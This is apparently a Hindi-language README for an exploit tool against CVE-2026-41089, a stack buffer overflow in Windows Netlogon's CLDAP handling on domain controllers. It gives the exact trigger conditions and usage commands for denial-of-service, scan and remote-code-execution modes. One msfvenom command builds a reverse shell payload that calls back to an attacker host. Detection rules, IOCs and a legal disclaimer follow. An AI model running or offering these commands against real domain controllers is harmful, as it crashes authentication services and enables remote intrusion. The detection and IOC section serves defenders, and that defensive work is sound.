CVE-2026-41089 — विंडोज Netlogon CLDAP स्टैक बफर ओवरफ्लो RCE एक्सप्लॉइट

CVE-ID: CVE-2026-41089
CVSS: 9.8 (गंभीर)
CWE: CWE-121 (स्टैक-आधारित बफर ओवरफ्लो)
हमला वेक्टर: UDP/389 (CLDAP SearchRequest)
प्रभाव: दूरस्थ कोड निष्पादन (RCE) / सेवा अस्वीकार (DoS)
प्रभावित संस्करण: विंडोज सर्वर 2012 R2 ~ 2025 (डोमेन कंट्रोलर)
पैच: मई 2026 संचयी अद्यतन

भेद्यता अवलोकन

netlogon.dll में NetpLogonPutUnicodeString फ़ंक्शन में CLDAP खोज अनुरोधों को संसाधित करते समय स्टैक बफर ओवरफ्लो भेद्यता है। यह फ़ंक्शन बाइट लंबाई बजट प्राप्त करता है, लेकिन इसे WCHAR गणना के रूप में व्याख्यायित करता है, जिसके परिणामस्वरूप लेखन अपेक्षित से 2 गुना होता है।

ओवरफ्लो NlGetLocalPingResponse फ़ंक्शन के 528 बाइट (264 ushort) फिक्स्ड स्टैक बफर में होता है। हमलावर-नियंत्रित User फ़ील्ड और सर्वर का स्वयं का DNS डोमेन नाम इस बफर को भरते हैं, अंततः GS सुरक्षा कुकी को ओवरराइट करते हैं, जिससे __report_gsfailure और lsass.exe क्रैश होता है।

ट्रिगर शर्तें

• CLDAP SearchRequest में NtVer=0x02 (पुराने, भेद्य BuildSamLogonResponse पथ का उपयोग बाध्य करता है)
• User फ़ील्ड की लंबाई ≥ ~130 वर्ण (बाइनरी सीमा लगभग 260 बाइट UTF-16)
• सर्वर DNS डोमेन नाम की लंबाई ≥ ~80 वर्ण (डोमेन जितना लंबा, कुकी तक पहुंचना उतना आसान)

नोट: NtVer=0x16 (कई सार्वजनिक डिटेक्शन स्क्रिप्ट द्वारा उपयोग किया गया मान) सुरक्षित BuildSamLogonResponseEx पथ को ट्रिगर करता है, भेद्यता को ट्रिगर नहीं करता।

कार्यक्षमता

DoS मोड

एक एकल पैकेट lsass.exe को क्रैश कर सकता है, जिससे डोमेन कंट्रोलर लगभग 30-60 सेकंड में रीबूट हो जाता है। इस अवधि के दौरान उस DC के सभी डोमेन प्रमाणीकरण विफल होंगे।

# मूल उपयोग — 3 पैकेट भेजें
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos

# एकल पैकेट त्वरित हमला
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1

# आक्रामक मोड — 5 पैकेट एक साथ
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1

RCE मोड

⚠️ अनुसंधान स्तर — वास्तविक वातावरण में अविश्वसनीय और अस्थिर।

RCE निम्नलिखित चुनौतियों का सामना करता है:

1. ओवरफ्लो डेटा हमलावर का शेलकोड नहीं, बल्कि सर्वर का स्वयं का DNS नाम है
2. GS कुकी को दरकिनार करना होगा (सूचना रिसाव प्राथमिक या ब्रूट फोर्स की आवश्यकता)
3. सर्वर 2022+ पर CET/ACG/CFG पारंपरिक ROP को और कठिन बनाता है

# शेलकोड उत्पन्न करें
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
         -f raw -o shellcode.bin

# RCE पेलोड भेजें
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
    --shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444

स्कैन मोड

# लक्ष्य DC की फिंगरप्रिंटिंग करें
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan

अपेक्षित आउटपुट उदाहरण (पैच किया गया लक्ष्य):

NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)

अपेक्षित आउटपुट उदाहरण (अपैच किया गया लक्ष्य):

NtVer=0x00000002 → TIMEOUT (5001 ms)    ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)

यदि NtVer=0x02 टाइमआउट करता है जबकि अन्य संस्करण सामान्य रूप से प्रतिक्रिया देते हैं, तो लक्ष्य संभवतः भेद्य है।

उन्नत पैरामीटर

परीक्षण वातावरण सेटअप

# विंडोज सर्वर (अपैच) पर लंबा डोमेन नाम वाला DC बनाएँ:
# 1. डोमेन कंट्रोलर के रूप में पदोन्नत करें (बहुत लंबा DNS डोमेन नाम, जैसे "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. सुनिश्चित करें कि मई 2026 से पहले का पैच स्थापित है
# 3. हमलावर मशीन से चलाएँ:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC के क्रैश और रीबूट का निरीक्षण करें

आक्रमण संकेतक (IOCs)

नेटवर्क

• UDP/389 पर CLDAP SearchRequest जहां User > 100 बाइट और NtVer = 0x02
• गैर-डोमेन कंट्रोलर होस्ट से DC को असामान्य CLDAP ट्रैफ़िक

होस्ट

Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)

डिटेक्शन नियम

index=wineventlog source="WinEventLog:Application" EventID=1000
  Process_Name="lsass.exe" Exception_Code="0xc0000409"

Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"

पैच जानकारी

कानूनी घोषणा

यह टूल केवल अधिकृत सुरक्षा मूल्यांकन, पैठ परीक्षण, CTF प्रतियोगिताओं और रक्षा अनुसंधान के लिए है। स्पष्ट लिखित प्राधिकरण के बिना किसी भी सिस्टम पर इस टूल का उपयोग अवैध है। उपयोगकर्ता सभी कानूनी दायित्व स्वयं वहन करता है।

संदर्भ लिंक

• Microsoft सुरक्षा अद्यतन गाइड: CVE-2026-41089
• NVD: CVE-2026-41089
• Kudelski सुरक्षा अनुसंधान — Netlogon स्टैक बफर ओवरफ्लो विश्लेषण
• SecPod विश्लेषण — IOCs और डिटेक्शन
• IONIX खतरा केंद्र — CVE-2026-41089